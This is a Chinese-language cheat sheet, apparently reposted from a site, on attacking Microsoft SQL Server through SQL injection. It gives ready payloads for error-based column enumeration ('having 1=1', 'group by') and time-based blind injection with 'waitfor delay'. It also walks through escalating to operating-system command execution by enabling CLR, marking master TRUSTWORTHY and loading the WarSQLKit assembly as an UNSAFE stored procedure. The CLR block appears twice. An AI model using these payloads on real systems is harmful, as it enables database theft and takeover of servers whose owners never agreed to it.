1、MSSql的系统自带数据库:master
2、在网站中,同一个网站一般不会跨库。
3、MSSql中每一个库都有一个系统自带表:sysobjects(这是系统对象表,保存当前数据库的对象)
4、注意sysobjects中的三个字段:NAME、XTYPE、ID
NAME字段是表名信息;
XTYPE字段是表的类型(只有两个参数:S和U;S代表系统表、U代表用户创建表);
ID字段的值用来连接syscolumns表
5、syscolumns表保存当前数据库中的所有字段
6、syscolumns表我们需要查询的字段是NAME字段,Name字段保存的是字段名称
7、top关键字:由于MSSql中没有Limit函数,因此我们想要输出限制的数据就要top +数字
8、MSSql中常用参数:
@@version:查询当前数据库版本
db_name():查询当前数据库名称
user:查询当前用户
9、 IS_SRVROLEMEMBER():查询数据库权限(严格来讲这是个函数,拆分来记srv即server:服务,role:角色,member:成员)
常用权限:sysadmin、serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin(这些常用权限是是作为上面的函数的参数出现的)
用法如下:select IS_SRVROLEMEMBER('sysadmin');如果是该权限,则会返回1
10、cast函数,可以把查询的数据转换成字符型,这个可以用于报错注入,用法如下:
cast(count(*) as varchar(255))+char(94)
注意加号要换成url编码:%2b否则会报错
11、len()函数,MSSQL中的判断字符长度的函数
12、substring函数,截断字符串的函数
13、waitfor delay '0:0:5'命令是延时五秒的意思
14、if ascii()语句中,ascii的返回值是条件
1、首先要用到之前说的cast函数,我们可以根据cast函数将数据转换成字符类型,这一点进行数据类型的不同进行报错注入,因为它会提醒你‘将某个值转换成类型x的时候转换失败’,我们就可以知晓数据需要的类型
2、我们可以用having 1=1爆出第一个字段名,语句如下:
and (select top 1 * from 表名 having 1=1)>1
会报错:“选择列表中的列’表名.列名1’无效,因为该列没有包含在聚合函数或GROUP BY子句中”
3、用group by 来爆出后面的字段,这是由于group by后面跟的字段数要与select查询的字段数一致
and (select top 1 * from 表名 group by 列名1)=1
会报错:“选择列表中的列’表名.列名2’无效,因为该列没有包含在聚合函数或GROUP BY子句中”
下一条语句:
and (select top 1 * from 表名 group by 列名1,列名2)=1
下面还会报上面的错,不过会是下一个字段了,一直往后直到没有上述报错为止。
和MySQL的注入方式基本一致,但是函数注意是须知知识中的11、12
1、我们使用if ascii(substring())=x waitfor delay '0:0:5'来判断字符的值,若是前面的条件符合,则等待五秒
2、一条一条的向下寻找后面的字符
使用DLL文件进行创建
使用文件16进制流进行创建
启用CLR功能
exec sp_configure 'show advanced options', 1;
RECONFIGURE;
Exec sp_configure 'clr enabled', 1;
RECONFIGURE;
-- 如果存在权限问题,执行下面命令
alter database [master] set TRUSTWORTHY on --后续要导入不安全的程序集,因此将数据库标记为安全
EXEC sp_changedbowner 'sa'
--导入程序集
CREATE ASSEMBLY [WarSQLKit]
AUTHORIZATION [dbo] FROM 十六进制数据
WITH PERMISSION_SET = UNSAFE;
CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER
AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec;
—- 执行命令
EXEC [dbo].[SqlStoredProcedure1]; 例如:exec sp_cmdExec ’whoami‘
-- 删除程序集
DROP PROCEDURE sp_cmdExec;
DROP ASSEMBLY [WarSQLKit];
exec sp_configure 'show advanced options', 1;
RECONFIGURE;
Exec sp_configure 'clr enabled', 1;
RECONFIGURE;
-- 如果存在权限问题,执行下面命令
alter database [master] set TRUSTWORTHY on --后续要导入不安全的程序集,因此将数据库标记为安全
EXEC sp_changedbowner 'sa'--导入程序集
CREATE ASSEMBLY [WarSQLKit] AUTHORIZATION [dbo] FROM 十六进制数据 WITH PERMISSION_SET = UNSAFE;
CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec;—- 执行命令
EXEC [dbo].[SqlStoredProcedure1]; 例如:exec sp_cmdExec ’whoami‘-- 删除程序集
DROP PROCEDURE sp_cmdExec;
DROP ASSEMBLY [WarSQLKit];
上一篇:曾在世界杯零封德国!32岁韩国“美妆博主”赵贤祐迎亚洲杯首秀 曾在世界杯零封德国!32岁韩国“美妆博主”赵贤祐迎亚洲杯首秀
下一篇:新加坡牛校招生啦~IB名列前茅、可寄宿、35%学生进牛剑…… 新加坡牛校招生啦~IB名列前茅、可寄宿、35%学生进牛剑……